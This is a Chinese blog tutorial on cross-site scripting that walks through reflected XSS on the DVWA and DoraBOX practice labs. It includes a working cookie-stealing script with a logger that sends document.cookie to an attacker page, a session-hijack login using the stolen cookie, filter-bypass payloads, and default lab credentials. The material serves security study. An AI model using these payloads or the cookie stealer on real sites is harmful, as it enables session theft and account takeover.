XSS基础及实战(XSS提取cookie并登录的)

该学新知识了!
本篇文章篇幅有点长,做了很多的本地攻击演示!
请耐心观看。

XSS基础

XSS的定义:XSS攻击通常指的是通过利用网页开发时留下的漏洞,通过巧妙的方法注入恶意指令代码到网页,使用户加载并执行攻击者恶意制造的网页程序。这些恶意网页程序通常是JavaScript,但实际上也可以包括Java、 VBScript、ActiveX、 Flash 或者甚至是普通的HTML。攻击成功后,攻击者可能得到包括但不限于更高的权限(如执行一些操作)、私密网页内容、会话和cookie等各种内容。

XSS分类

XSS有三类:反射型XSS(非持久型)、存储型XSS(持久型)和DOM XSS。

反射型XSS(非持久型XSS),攻击方式具有一次性。

攻击方式:攻击者通过包含XSS代码的恶意链接发送给受害者,当受害者访问该连接时,服务器接收该受害者用户的请求并进行处理,然后服务器把带有XSS代码的数据发送给受害者用户的浏览器,浏览器解析这段包含XSS代码的恶意脚本,就会触发XSS漏洞然后完成攻击。

持久型xss攻击:持久型xss,会把攻击者的数据存储在服务器端,攻击行为将伴随着攻击数据一直存在。

攻击方式:多见与论坛,博客以及网站留言板。攻击者通过发帖,留言的方式,将恶意XSS脚本连同正常信息通过留言板提交到服务器内并被服务器存储下来,恶意XSS脚本也将保存在服务器中,当其他用户浏览帖子或者留言时,恶意XSS脚本会在他们的浏览器中执行。

DOM跨站(DOM XSS):DOM(document object model文档对象模型),客户端脚本处理逻辑导致的安全问题。

DOM型XSS是一种特殊类型的反射型XSS,基于DOM文档对象模型的一种漏洞。DOM XSS和反射型XSS、存储型XSS的差别在于DOM XSS的代码并不需要服务器参与,触发XSS靠的是浏览器端的DOM解析,完全是客户端的事情。在整个攻击过程中,服务器响应的页面并没有发生变化,引起客户端脚本执行结果差异的原因是对本地DOM的恶意篡改利用。

反射型XSS的利用

演示一(基于DoraBOX靶场)

在这里插入图片描述
一个正常的输入框,我们可以将自己的xss代码写在提交框里。

在这里插入图片描述
数据没有插入到后台,浏览器会把我插入的内容,当作可执行代码给我们返回来。

演示二(基于DVWA靶场)

登录的时候,没想起来账号,密码!但是有万能的

DVWA默认的用户有5个,用户名密码如下(一个足以):

admin/password

gordonb/abc123

1337/charley

pablo/letmein

smithy/password

登录进去,选择反射型XSS。

等级为:impossible

选择一个简单的payload:<script>alert(/xss/)</script>

在这里插入图片描述
输入任何xss代码,正常的输出,不会弹出我们想要的界面,这也让我很懵逼。

无奈查看了源码

<?php

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // Get input
    $name = htmlspecialchars( $_GET[ 'name' ] );

    // Feedback for end user
    echo "<pre>Hello ${name}</pre>";
}

// Generate Anti-CSRF token
generateSessionToken();

发现了 htmlspecialchars() 函数,其主要作用就是把一些预定义的字符转换为 HTML 实体。

预定义的字符是:

& (和号) 成为 &amp;
" (双引号) 成为 &quot;
' (单引号) 成为 &apos;
< (小于) 成为 &lt;
> (大于) 成为 &gt;

我说怎么输入,都不会弹窗,而是直接输出,我输入的xss代码,经过htmlspecialchars() 函数的转换,被转换成非HTML可执行代码,所以impossible等级不存在XSS漏洞。

等级为:low
简单的演示

构造payload:<script>alert(/xss/)</script>

在这里插入图片描述
弹窗成功!

查看源码:

<?php

header ("X-XSS-Protection: 0");

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
    // Feedback for end user
    echo '<pre>Hello ' . $_GET[ 'name' ] . '</pre>';
}

?> 

以get方式传参,没有经过任何过滤,很明显存在XSS漏洞。

本地利用XSS获取cookie

工欲善其事,必先利其器。

直接上我们的工具!!!

hacker.js

var img = new Image();
img.src="http://127.0.0.1/DVWA/vulnerabilities/xss_r/hacker.php?x=" + document.cookie;
document.body.append(img);

hacker.php

<?php
$cookie = $_GET['x'];
$ip = getenv ('REMOTE_ADDR');
$time = date('Y-m-d g:i:s');
$fp = fopen("cookie.txt","a");
fwrite($fp,"IP: ".$ip."Date: ".$time." Cookie:".$cookie."\n");
fclose($fp);
?>

构造我们的payload:http://127.0.0.1/DVWA/vulnerabilities/xss_r/?name=<script src="http://127.0.0.1/DVWA/vulnerabilities/xss_r/hacker.js" /></script>

将我们的URL发给另外一个用户,他点了一下。
并且输入自己的姓名。
在这里插入图片描述

他输入之后,我们这边就生成了一个cookie.txt文件,我们打开看一下

在这里插入图片描述
他的IP,登陆地址,还有cookie已经在我们这边了。

😉既然拿到了cookie,下面我们应该改怎么办???

演示一下:
我们来到DVWA的登陆界面,F12打开页面,找到cookie
在这里插入图片描述

我们新建或者编辑一个cookie
在这里插入图片描述
内容就是我们刚刚得到的cookie,刷新一下页面。
在这里插入图片描述

登陆成功喽!这是简单的通过XSS漏洞获得cookie,并且登录

等级为:medium

按照上个payload输入,发现了一点东西,
在这里插入图片描述

我们的<script>没有了,猜想可能被替代掉了。

我们换种payload:<SCript>alert(/XSS/)</SCript>
在这里插入图片描述

这可能是黑名单过滤!

看一下源码:

<?php

header ("X-XSS-Protection: 0");

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
    // Get input
    $name = str_replace( '<script>', '', $_GET[ 'name' ] );

    // Feedback for end user
    echo "<pre>Hello ${name}</pre>";
}

发现了str_replace()函数

str_replace(find,replace,string,count)

find 	必需。规定要查找的值。
replace 	必需。规定替换 find 中的值的值。
string 	必需。规定被搜索的字符串。
count 	可选。对替换数进行计数的变量。

我们传入的name,将会经过str_replace()函数处理,查看name内是否有<script>,有则把<script>替换成 空格。这应该就是简单的黑名单过滤吧!

对于str_replace()函数我们也可以通过双写绕过<scr<script>ipt>alert(/xss/);</script>

也可以使用非 script 标签的 xss payload绕过

img标签:

<img src=1 onerror=alert('xss')>

iframe标签:

<iframe onload=alert(1)>
等级为:High

输入payload,页面只剩下这个符号:>
在这里插入图片描述
猜想是不是把我们输入的<script>alert(/XSS/)</script>全部过滤,只剩下>,可能还是黑名单过滤,但可能比之前更高级。

既然是黑名单过滤,那我们就使用非script的标签绕过,payload:<img src=1 onerror=alert('xss')>

当然也可以使用iframe标签绕过!!!

在这里插入图片描述
XSS反射型的介绍和利用就先到这结束,本来想把存储型和DOM型一起写了,但无奈篇幅太长影响阅读!!!稍后补上!

顺便说句开学快乐!!!!

  • 7
    点赞
  • 23
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值